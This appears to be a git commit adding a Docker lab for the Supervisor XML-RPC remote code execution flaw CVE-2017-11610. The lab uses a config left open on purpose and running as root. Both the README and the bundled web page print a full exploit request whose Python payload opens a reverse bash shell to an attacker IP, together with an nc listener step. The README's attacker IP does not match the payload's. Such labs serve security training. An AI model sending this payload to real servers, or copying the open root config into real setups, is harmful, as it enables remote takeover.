mirror of
https://github.com/Medicean/VulApps.git
synced 2025-06-20 18:00:18 +00:00
(Add Vul: Supervisor) Remote Code Execution(CVE-2017-11610)
This commit is contained in:
Medicean
parent
a41d0a89ca
commit
7e0fb0860d
@ -114,6 +114,7 @@ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-037
|
|||||||
* [Spring Boot](./s/springboot/)
|
* [Spring Boot](./s/springboot/)
|
||||||
* [Struts2](./s/struts2/)
|
* [Struts2](./s/struts2/)
|
||||||
* [Spring WebFlow](./s/springwebflow/)
|
* [Spring WebFlow](./s/springwebflow/)
|
||||||
|
* [Supervisor](./s/supervisor/)
|
||||||
|
|
||||||
### [W](./w/)<div id="w"></div>
|
### [W](./w/)<div id="w"></div>
|
||||||
|
|
||||||
|
|||||||
@ -4,4 +4,5 @@
|
|||||||
* [Shiro](./shiro/)
|
* [Shiro](./shiro/)
|
||||||
* [Spring Boot](./springboot/)
|
* [Spring Boot](./springboot/)
|
||||||
* [Struts2](./struts2/)
|
* [Struts2](./struts2/)
|
||||||
* [Spring WebFlow](./springwebflow/)
|
* [Spring WebFlow](./springwebflow/)
|
||||||
|
* [Supervisor](./supervisor/)
|
||||||
|
|||||||
22
s/supervisor/1/Dockerfile
Normal file
22
s/supervisor/1/Dockerfile
Normal file
@ -0,0 +1,22 @@
|
|||||||
|
FROM debian:jessie
|
||||||
|
MAINTAINER Medici.Yan@Gmail.com
|
||||||
|
# RUN sed -i 's/deb.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list
|
||||||
|
|
||||||
|
RUN set -x \
|
||||||
|
&& apt-get update \
|
||||||
|
&& apt-get install -y psmisc cron python python-pip \
|
||||||
|
&& pip install --upgrade pip \
|
||||||
|
&& pip install flask gunicorn supervisor==3.3.2 \
|
||||||
|
&& mkdir -p /htdocs/templates
|
||||||
|
|
||||||
|
COPY src/app.py /htdocs/app.py
|
||||||
|
COPY src/index.html /htdocs/templates/index.html
|
||||||
|
COPY src/supervisor.conf /etc/supervisor.conf
|
||||||
|
COPY src/start.sh /start.sh
|
||||||
|
COPY src/daemon.sh /daemon.sh
|
||||||
|
COPY src/root /var/spool/cron/crontabs/root
|
||||||
|
|
||||||
|
RUN chmod a+x /start.sh /daemon.sh \
|
||||||
|
&& rm -rf /var/lib/apt/lists
|
||||||
|
|
||||||
|
CMD ["/start.sh"]
|
||||||
98
s/supervisor/1/README.md
Normal file
98
s/supervisor/1/README.md
Normal file
@ -0,0 +1,98 @@
|
|||||||
|
## Supervisor Authenticated Remote Code Execution(CVE-2017-11610)
|
||||||
|
|
||||||
|
### 漏洞信息
|
||||||
|
|
||||||
|
Supervisor 是用 Python 开发的一套通用的进程管理程序，能将一个普通的命令行进程变为后台 daemon，并监控进程状态，异常退出时能自动重启。Supervisor可通过web接口管理服务，在配置了web接口后，同时会在服务器启动一个 XMLRPC 服务器，端口为 9001。该接口可配置需要密码访问，或者无需认证访问。
|
||||||
|
|
||||||
|
在获取该接口的访问权限后，远程攻击者可发送一段精心构造的请求，可在服务器执行任意代码。
|
||||||
|
|
||||||
|
### 影响版本
|
||||||
|
|
||||||
|
已经确认：
|
||||||
|
|
||||||
|
* Supervisor 3.1.2 <= Version <= 3.3.2
|
||||||
|
|
||||||
|
### 镜像信息
|
||||||
|
|
||||||
|
类型 | 用户名 | 密码
|
||||||
|
:-:|:-:|:-:
|
||||||
|
http://xxx/9001/RPC2 | vulapps | vulapps
|
||||||
|
|
||||||
|
### 获取环境:
|
||||||
|
|
||||||
|
1. 拉取镜像到本地
|
||||||
|
|
||||||
|
```
|
||||||
|
$ docker pull medicean/vulapps:s_supervisor_1
|
||||||
|
```
|
||||||
|
|
||||||
|
2. 启动环境
|
||||||
|
|
||||||
|
```
|
||||||
|
$ docker run -d -p 80:80 -p 9001:9001 medicean/vulapps:s_supervisor_1
|
||||||
|
```
|
||||||
|
> `-p 80:80` 前面的 80 代表物理机的端口，可随意指定。
|
||||||
|
|
||||||
|
访问 http://127.0.0.1:80 看到 web 界面即启动成功
|
||||||
|
|
||||||
|
#### Exp
|
||||||
|
|
||||||
|
反弹 Shell
|
||||||
|
|
||||||
|
> 假定启动后的环境如下：
|
||||||
|
>
|
||||||
|
> 攻击者 IP: 192.168.2.104
|
||||||
|
>
|
||||||
|
> 受害者 IP: 192.168.2.100
|
||||||
|
|
||||||
|
1. 在攻击者机器上使用 nc 监听
|
||||||
|
|
||||||
|
```
|
||||||
|
$ nc -lvp 9999
|
||||||
|
```
|
||||||
|
|
||||||
|
2. 向受害者 9001 端口发送如下报文后即可
|
||||||
|
|
||||||
|
```
|
||||||
|
POST http://192.168.2.100:9001/RPC2 HTTP/1.1
|
||||||
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0
|
||||||
|
Accept: text/xml
|
||||||
|
Content-Type: text/xml
|
||||||
|
Accept-Language: en-GB,en;q=0.5
|
||||||
|
Connection: keep-alive
|
||||||
|
Upgrade-Insecure-Requests: 1
|
||||||
|
Content-Length: 638
|
||||||
|
Host: 192.168.2.100:9001
|
||||||
|
|
||||||
|
<?xml version="1.0"?>
|
||||||
|
<methodCall>
|
||||||
|
<methodName>supervisor.supervisord.options.execve</methodName>
|
||||||
|
<params>
|
||||||
|
<param>
|
||||||
|
<string>/usr/bin/python</string>
|
||||||
|
</param>
|
||||||
|
<param>
|
||||||
|
<array>
|
||||||
|
<data>
|
||||||
|
<value><string>python</string></value>
|
||||||
|
<value><string>-c</string></value>
|
||||||
|
<value><string>import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.140",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);</string></value>
|
||||||
|
</data>
|
||||||
|
</array>
|
||||||
|
</param>
|
||||||
|
<param>
|
||||||
|
<struct>
|
||||||
|
</struct>
|
||||||
|
</param>
|
||||||
|
</params>
|
||||||
|
</methodCall>
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### 参考链接
|
||||||
|
|
||||||
|
* [SSD Advisory – Supervisor Authenticated Remote Code Execution](https://blogs.securiteam.com/index.php/archives/3348)
|
||||||
|
* [[CVE-2017-11610] RCE vulnerability report](https://github.com/Supervisor/supervisor/issues/964)
|
||||||
BIN
s/supervisor/1/exp.png
Normal file
BIN
s/supervisor/1/exp.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 216 KiB |
17
s/supervisor/1/src/app.py
Normal file
17
s/supervisor/1/src/app.py
Normal file
@ -0,0 +1,17 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
# coding:utf-8
|
||||||
|
|
||||||
|
from flask import Flask, request, render_template
|
||||||
|
app = Flask(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
@app.route('/')
|
||||||
|
def index():
|
||||||
|
headers = request.headers
|
||||||
|
host = headers.get('HOST', "127.0.0.1")
|
||||||
|
host = host.split(":")[0]
|
||||||
|
return render_template('index.html', host=host)
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
app.debug = False
|
||||||
|
app.run(threaded=True, port=8800, host='0.0.0.0')
|
||||||
7
s/supervisor/1/src/daemon.sh
Normal file
7
s/supervisor/1/src/daemon.sh
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
ps -A | grep supervisord
|
||||||
|
if [[ $? != 0 ]]; then
|
||||||
|
/usr/bin/killall gunicorn
|
||||||
|
/usr/local/bin/supervisord -c /etc/supervisor.conf
|
||||||
|
fi
|
||||||
364
s/supervisor/1/src/index.html
Normal file
364
s/supervisor/1/src/index.html
Normal file
@ -0,0 +1,364 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html>
|
||||||
|
|
||||||
|
<head>
|
||||||
|
|
||||||
|
<meta charset="utf-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=yes">
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<style type="text/css">
|
||||||
|
body {
|
||||||
|
font-family: Helvetica, arial, sans-serif;
|
||||||
|
font-size: 14px;
|
||||||
|
line-height: 1.6;
|
||||||
|
padding-top: 10px;
|
||||||
|
padding-bottom: 10px;
|
||||||
|
background-color: white;
|
||||||
|
padding: 30px; }
|
||||||
|
|
||||||
|
body > *:first-child {
|
||||||
|
margin-top: 0 !important; }
|
||||||
|
body > *:last-child {
|
||||||
|
margin-bottom: 0 !important; }
|
||||||
|
|
||||||
|
a {
|
||||||
|
color: #4183C4; }
|
||||||
|
a.absent {
|
||||||
|
color: #cc0000; }
|
||||||
|
a.anchor {
|
||||||
|
display: block;
|
||||||
|
padding-left: 30px;
|
||||||
|
margin-left: -30px;
|
||||||
|
cursor: pointer;
|
||||||
|
position: absolute;
|
||||||
|
top: 0;
|
||||||
|
left: 0;
|
||||||
|
bottom: 0; }
|
||||||
|
|
||||||
|
h1, h2, h3, h4, h5, h6 {
|
||||||
|
margin: 20px 0 10px;
|
||||||
|
padding: 0;
|
||||||
|
font-weight: bold;
|
||||||
|
-webkit-font-smoothing: antialiased;
|
||||||
|
cursor: text;
|
||||||
|
position: relative; }
|
||||||
|
|
||||||
|
h1:hover a.anchor, h2:hover a.anchor, h3:hover a.anchor, h4:hover a.anchor, h5:hover a.anchor, h6:hover a.anchor {
|
||||||
|
background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA09pVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNiAoMTMuMCAyMDEyMDMwNS5tLjQxNSAyMDEyLzAzLzA1OjIxOjAwOjAwKSAgKE1hY2ludG9zaCkiIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6OUM2NjlDQjI4ODBGMTFFMTg1ODlEODNERDJBRjUwQTQiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6OUM2NjlDQjM4ODBGMTFFMTg1ODlEODNERDJBRjUwQTQiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDo5QzY2OUNCMDg4MEYxMUUxODU4OUQ4M0REMkFGNTBBNCIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDo5QzY2OUNCMTg4MEYxMUUxODU4OUQ4M0REMkFGNTBBNCIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PsQhXeAAAABfSURBVHjaYvz//z8DJYCRUgMYQAbAMBQIAvEqkBQWXI6sHqwHiwG70TTBxGaiWwjCTGgOUgJiF1J8wMRAIUA34B4Q76HUBelAfJYSA0CuMIEaRP8wGIkGMA54bgQIMACAmkXJi0hKJQAAAABJRU5ErkJggg==) no-repeat 10px center;
|
||||||
|
text-decoration: none; }
|
||||||
|
|
||||||
|
h1 tt, h1 code {
|
||||||
|
font-size: inherit; }
|
||||||
|
|
||||||
|
h2 tt, h2 code {
|
||||||
|
font-size: inherit; }
|
||||||
|
|
||||||
|
h3 tt, h3 code {
|
||||||
|
font-size: inherit; }
|
||||||
|
|
||||||
|
h4 tt, h4 code {
|
||||||
|
font-size: inherit; }
|
||||||
|
|
||||||
|
h5 tt, h5 code {
|
||||||
|
font-size: inherit; }
|
||||||
|
|
||||||
|
h6 tt, h6 code {
|
||||||
|
font-size: inherit; }
|
||||||
|
|
||||||
|
h1 {
|
||||||
|
font-size: 28px;
|
||||||
|
color: black; }
|
||||||
|
|
||||||
|
h2 {
|
||||||
|
font-size: 24px;
|
||||||
|
border-bottom: 1px solid #cccccc;
|
||||||
|
color: black; }
|
||||||
|
|
||||||
|
h3 {
|
||||||
|
font-size: 18px; }
|
||||||
|
|
||||||
|
h4 {
|
||||||
|
font-size: 16px; }
|
||||||
|
|
||||||
|
h5 {
|
||||||
|
font-size: 14px; }
|
||||||
|
|
||||||
|
h6 {
|
||||||
|
color: #777777;
|
||||||
|
font-size: 14px; }
|
||||||
|
|
||||||
|
p, blockquote, ul, ol, dl, li, table, pre {
|
||||||
|
margin: 15px 0; }
|
||||||
|
|
||||||
|
hr {
|
||||||
|
background: transparent url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAYAAAAECAYAAACtBE5DAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyJpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMC1jMDYwIDYxLjEzNDc3NywgMjAxMC8wMi8xMi0xNzozMjowMCAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNSBNYWNpbnRvc2giIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6OENDRjNBN0E2NTZBMTFFMEI3QjRBODM4NzJDMjlGNDgiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6OENDRjNBN0I2NTZBMTFFMEI3QjRBODM4NzJDMjlGNDgiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDo4Q0NGM0E3ODY1NkExMUUwQjdCNEE4Mzg3MkMyOUY0OCIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDo4Q0NGM0E3OTY1NkExMUUwQjdCNEE4Mzg3MkMyOUY0OCIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PqqezsUAAAAfSURBVHjaYmRABcYwBiM2QSA4y4hNEKYDQxAEAAIMAHNGAzhkPOlYAAAAAElFTkSuQmCC) repeat-x 0 0;
|
||||||
|
border: 0 none;
|
||||||
|
color: #cccccc;
|
||||||
|
height: 4px;
|
||||||
|
padding: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
body > h2:first-child {
|
||||||
|
margin-top: 0;
|
||||||
|
padding-top: 0; }
|
||||||
|
body > h1:first-child {
|
||||||
|
margin-top: 0;
|
||||||
|
padding-top: 0; }
|
||||||
|
body > h1:first-child + h2 {
|
||||||
|
margin-top: 0;
|
||||||
|
padding-top: 0; }
|
||||||
|
body > h3:first-child, body > h4:first-child, body > h5:first-child, body > h6:first-child {
|
||||||
|
margin-top: 0;
|
||||||
|
padding-top: 0; }
|
||||||
|
|
||||||
|
a:first-child h1, a:first-child h2, a:first-child h3, a:first-child h4, a:first-child h5, a:first-child h6 {
|
||||||
|
margin-top: 0;
|
||||||
|
padding-top: 0; }
|
||||||
|
|
||||||
|
h1 p, h2 p, h3 p, h4 p, h5 p, h6 p {
|
||||||
|
margin-top: 0; }
|
||||||
|
|
||||||
|
li p.first {
|
||||||
|
display: inline-block; }
|
||||||
|
li {
|
||||||
|
margin: 0; }
|
||||||
|
ul, ol {
|
||||||
|
padding-left: 30px; }
|
||||||
|
|
||||||
|
ul :first-child, ol :first-child {
|
||||||
|
margin-top: 0; }
|
||||||
|
|
||||||
|
dl {
|
||||||
|
padding: 0; }
|
||||||
|
dl dt {
|
||||||
|
font-size: 14px;
|
||||||
|
font-weight: bold;
|
||||||
|
font-style: italic;
|
||||||
|
padding: 0;
|
||||||
|
margin: 15px 0 5px; }
|
||||||
|
dl dt:first-child {
|
||||||
|
padding: 0; }
|
||||||
|
dl dt > :first-child {
|
||||||
|
margin-top: 0; }
|
||||||
|
dl dt > :last-child {
|
||||||
|
margin-bottom: 0; }
|
||||||
|
dl dd {
|
||||||
|
margin: 0 0 15px;
|
||||||
|
padding: 0 15px; }
|
||||||
|
dl dd > :first-child {
|
||||||
|
margin-top: 0; }
|
||||||
|
dl dd > :last-child {
|
||||||
|
margin-bottom: 0; }
|
||||||
|
|
||||||
|
blockquote {
|
||||||
|
border-left: 4px solid #dddddd;
|
||||||
|
padding: 0 15px;
|
||||||
|
color: #777777; }
|
||||||
|
blockquote > :first-child {
|
||||||
|
margin-top: 0; }
|
||||||
|
blockquote > :last-child {
|
||||||
|
margin-bottom: 0; }
|
||||||
|
|
||||||
|
table {
|
||||||
|
padding: 0;border-collapse: collapse; }
|
||||||
|
table tr {
|
||||||
|
border-top: 1px solid #cccccc;
|
||||||
|
background-color: white;
|
||||||
|
margin: 0;
|
||||||
|
padding: 0; }
|
||||||
|
table tr:nth-child(2n) {
|
||||||
|
background-color: #f8f8f8; }
|
||||||
|
table tr th {
|
||||||
|
font-weight: bold;
|
||||||
|
border: 1px solid #cccccc;
|
||||||
|
margin: 0;
|
||||||
|
padding: 6px 13px; }
|
||||||
|
table tr td {
|
||||||
|
border: 1px solid #cccccc;
|
||||||
|
margin: 0;
|
||||||
|
padding: 6px 13px; }
|
||||||
|
table tr th :first-child, table tr td :first-child {
|
||||||
|
margin-top: 0; }
|
||||||
|
table tr th :last-child, table tr td :last-child {
|
||||||
|
margin-bottom: 0; }
|
||||||
|
|
||||||
|
img {
|
||||||
|
max-width: 100%; }
|
||||||
|
|
||||||
|
span.frame {
|
||||||
|
display: block;
|
||||||
|
overflow: hidden; }
|
||||||
|
span.frame > span {
|
||||||
|
border: 1px solid #dddddd;
|
||||||
|
display: block;
|
||||||
|
float: left;
|
||||||
|
overflow: hidden;
|
||||||
|
margin: 13px 0 0;
|
||||||
|
padding: 7px;
|
||||||
|
width: auto; }
|
||||||
|
span.frame span img {
|
||||||
|
display: block;
|
||||||
|
float: left; }
|
||||||
|
span.frame span span {
|
||||||
|
clear: both;
|
||||||
|
color: #333333;
|
||||||
|
display: block;
|
||||||
|
padding: 5px 0 0; }
|
||||||
|
span.align-center {
|
||||||
|
display: block;
|
||||||
|
overflow: hidden;
|
||||||
|
clear: both; }
|
||||||
|
span.align-center > span {
|
||||||
|
display: block;
|
||||||
|
overflow: hidden;
|
||||||
|
margin: 13px auto 0;
|
||||||
|
text-align: center; }
|
||||||
|
span.align-center span img {
|
||||||
|
margin: 0 auto;
|
||||||
|
text-align: center; }
|
||||||
|
span.align-right {
|
||||||
|
display: block;
|
||||||
|
overflow: hidden;
|
||||||
|
clear: both; }
|
||||||
|
span.align-right > span {
|
||||||
|
display: block;
|
||||||
|
overflow: hidden;
|
||||||
|
margin: 13px 0 0;
|
||||||
|
text-align: right; }
|
||||||
|
span.align-right span img {
|
||||||
|
margin: 0;
|
||||||
|
text-align: right; }
|
||||||
|
span.float-left {
|
||||||
|
display: block;
|
||||||
|
margin-right: 13px;
|
||||||
|
overflow: hidden;
|
||||||
|
float: left; }
|
||||||
|
span.float-left span {
|
||||||
|
margin: 13px 0 0; }
|
||||||
|
span.float-right {
|
||||||
|
display: block;
|
||||||
|
margin-left: 13px;
|
||||||
|
overflow: hidden;
|
||||||
|
float: right; }
|
||||||
|
span.float-right > span {
|
||||||
|
display: block;
|
||||||
|
overflow: hidden;
|
||||||
|
margin: 13px auto 0;
|
||||||
|
text-align: right; }
|
||||||
|
|
||||||
|
code, tt {
|
||||||
|
margin: 0 2px;
|
||||||
|
padding: 0 5px;
|
||||||
|
white-space: nowrap;
|
||||||
|
border: 1px solid #eaeaea;
|
||||||
|
background-color: #f8f8f8;
|
||||||
|
border-radius: 3px; }
|
||||||
|
|
||||||
|
pre code {
|
||||||
|
margin: 0;
|
||||||
|
padding: 0;
|
||||||
|
white-space: pre;
|
||||||
|
border: none;
|
||||||
|
background: transparent; }
|
||||||
|
|
||||||
|
.highlight pre {
|
||||||
|
background-color: #f8f8f8;
|
||||||
|
border: 1px solid #cccccc;
|
||||||
|
font-size: 13px;
|
||||||
|
line-height: 19px;
|
||||||
|
overflow: auto;
|
||||||
|
padding: 6px 10px;
|
||||||
|
border-radius: 3px; }
|
||||||
|
|
||||||
|
pre {
|
||||||
|
background-color: #f8f8f8;
|
||||||
|
border: 1px solid #cccccc;
|
||||||
|
font-size: 13px;
|
||||||
|
line-height: 19px;
|
||||||
|
overflow: auto;
|
||||||
|
padding: 6px 10px;
|
||||||
|
border-radius: 3px; }
|
||||||
|
pre code, pre tt {
|
||||||
|
background-color: transparent;
|
||||||
|
border: none; }
|
||||||
|
|
||||||
|
sup {
|
||||||
|
font-size: 0.83em;
|
||||||
|
vertical-align: super;
|
||||||
|
line-height: 0;
|
||||||
|
}
|
||||||
|
* {
|
||||||
|
-webkit-print-color-adjust: exact;
|
||||||
|
}
|
||||||
|
@media screen and (min-width: 914px) {
|
||||||
|
body {
|
||||||
|
width: 854px;
|
||||||
|
margin:0 auto;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
@media print {
|
||||||
|
table, pre {
|
||||||
|
page-break-inside: avoid;
|
||||||
|
}
|
||||||
|
pre {
|
||||||
|
word-wrap: break-word;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
|
||||||
|
|
||||||
|
</head>
|
||||||
|
|
||||||
|
<body>
|
||||||
|
|
||||||
|
<h2 id="toc_0">CVE-2017-11610 VulApps Demo</h2>
|
||||||
|
|
||||||
|
<blockquote>
|
||||||
|
<p>Supervisor Authenticated Remote Code Execution</p>
|
||||||
|
</blockquote>
|
||||||
|
|
||||||
|
<div><pre><code class="language-none">POST http://{{ host }}:9001/RPC2 HTTP/1.1
|
||||||
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0
|
||||||
|
Accept: text/xml
|
||||||
|
Content-Type: text/xml
|
||||||
|
Accept-Language: en-GB,en;q=0.5
|
||||||
|
Connection: keep-alive
|
||||||
|
Upgrade-Insecure-Requests: 1
|
||||||
|
Content-Length: 638
|
||||||
|
Host: {{ host }}:9001
|
||||||
|
|
||||||
|
<?xml version="1.0"?>
|
||||||
|
<methodCall>
|
||||||
|
<methodName>supervisor.supervisord.options.execve</methodName>
|
||||||
|
<params>
|
||||||
|
<param>
|
||||||
|
<string>/usr/bin/python</string>
|
||||||
|
</param>
|
||||||
|
<param>
|
||||||
|
<array>
|
||||||
|
<data>
|
||||||
|
<value><string>python</string></value>
|
||||||
|
<value><string>-c</string></value>
|
||||||
|
<value><string>import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.140",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);</string></value>
|
||||||
|
</data>
|
||||||
|
</array>
|
||||||
|
</param>
|
||||||
|
<param>
|
||||||
|
<struct>
|
||||||
|
</struct>
|
||||||
|
</param>
|
||||||
|
</params>
|
||||||
|
</methodCall></code></pre></div>
|
||||||
|
|
||||||
|
<hr>
|
||||||
|
|
||||||
|
<p>See more at: <a href="https://github.com/Medicean/VulApps/">VulApps</a></p>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
</body>
|
||||||
|
|
||||||
|
</html>
|
||||||
28
s/supervisor/1/src/root
Normal file
28
s/supervisor/1/src/root
Normal file
@ -0,0 +1,28 @@
|
|||||||
|
# DO NOT EDIT THIS FILE - edit the master and reinstall.
|
||||||
|
# (/tmp/crontab.sDovLd/crontab installed on Thu Jul 27 13:24:42 2017)
|
||||||
|
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
|
||||||
|
# Edit this file to introduce tasks to be run by cron.
|
||||||
|
#
|
||||||
|
# Each task to run has to be defined through a single line
|
||||||
|
# indicating with different fields when the task will be run
|
||||||
|
# and what command to run for the task
|
||||||
|
#
|
||||||
|
# To define the time you can provide concrete values for
|
||||||
|
# minute (m), hour (h), day of month (dom), month (mon),
|
||||||
|
# and day of week (dow) or use '*' in these fields (for 'any').#
|
||||||
|
# Notice that tasks will be started based on the cron's system
|
||||||
|
# daemon's notion of time and timezones.
|
||||||
|
#
|
||||||
|
# Output of the crontab jobs (including errors) is sent through
|
||||||
|
# email to the user the crontab file belongs to (unless redirected).
|
||||||
|
#
|
||||||
|
# For example, you can run a backup of all your user accounts
|
||||||
|
# at 5 a.m every week with:
|
||||||
|
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
|
||||||
|
#
|
||||||
|
# For more information see the manual pages of crontab(5) and cron(8)
|
||||||
|
#
|
||||||
|
# m h dom mon dow command
|
||||||
|
|
||||||
|
*/1 * * * * /daemon.sh
|
||||||
|
|
||||||
4
s/supervisor/1/src/start.sh
Normal file
4
s/supervisor/1/src/start.sh
Normal file
@ -0,0 +1,4 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
/usr/sbin/cron restart
|
||||||
|
/usr/local/bin/supervisord -c /etc/supervisor.conf
|
||||||
|
/usr/bin/tail -f /dev/null
|
||||||
36
s/supervisor/1/src/supervisor.conf
Normal file
36
s/supervisor/1/src/supervisor.conf
Normal file
@ -0,0 +1,36 @@
|
|||||||
|
[unix_http_server]
|
||||||
|
file=/var/run/supervisor.sock ; (the path to the socket file)
|
||||||
|
;chmod=0700 ; socket file mode (default 0700)
|
||||||
|
;chown=nobody:nogroup ; socket file uid:gid owner
|
||||||
|
;username=vulapps ; (default is no username (open server))
|
||||||
|
;password=vulapps ; (default is no password (open server))
|
||||||
|
|
||||||
|
[inet_http_server] ; inet (TCP) server disabled by default
|
||||||
|
port=*:9001 ; (ip_address:port specifier, *:port for all iface)
|
||||||
|
;username=vulapps ; (default is no username (open server))
|
||||||
|
;password=vulapps ; (default is no password (open server))
|
||||||
|
|
||||||
|
[supervisord]
|
||||||
|
logfile=/var/log/supervisord.log ; (main log file;default $CWD/supervisord.log)
|
||||||
|
logfile_maxbytes=50MB ; (max main logfile bytes b4 rotation;default 50MB)
|
||||||
|
logfile_backups=10 ; (num of main logfile rotation backups;default 10)
|
||||||
|
loglevel=info ; (log level;default info; others: debug,warn,trace)
|
||||||
|
pidfile=/var/run/supervisord.pid ; (supervisord pidfile;default supervisord.pid)
|
||||||
|
nodaemon=false ; (start in foreground if true;default false)
|
||||||
|
minfds=1024 ; (min. avail startup file descriptors;default 1024)
|
||||||
|
minprocs=200 ; (min. avail process descriptors;default 200)
|
||||||
|
;umask=022 ; (process file creation umask;default 022)
|
||||||
|
user=root ; (default is current user, required if root)
|
||||||
|
|
||||||
|
[rpcinterface:supervisor]
|
||||||
|
supervisor.rpcinterface_factory = supervisor.rpcinterface:make_main_rpcinterface
|
||||||
|
|
||||||
|
[supervisorctl]
|
||||||
|
serverurl=unix:///var/run/supervisor.sock ; use a unix:// URL for a unix socket
|
||||||
|
;serverurl=http://*:9001 ; use an http:// url to specify an inet socket
|
||||||
|
;username=vulapps ; should be same as http_username if set
|
||||||
|
;password=vulapps ; should be same as http_password if set
|
||||||
|
|
||||||
|
[program:web]
|
||||||
|
command=/usr/local/bin/gunicorn app:app -b 0.0.0.0:80 --log-level info --access-logfile /var/log/access.log
|
||||||
|
directory=/htdocs
|
||||||
4
s/supervisor/README.md
Normal file
4
s/supervisor/README.md
Normal file
@ -0,0 +1,4 @@
|
|||||||
|
Supervisor
|
||||||
|
---
|
||||||
|
|
||||||
|
1. [Supervisor Authenticated Remote Code Execution(CVE-2017-11610)](./1)
|
||||||
Loading…
x
Reference in New Issue
Block a user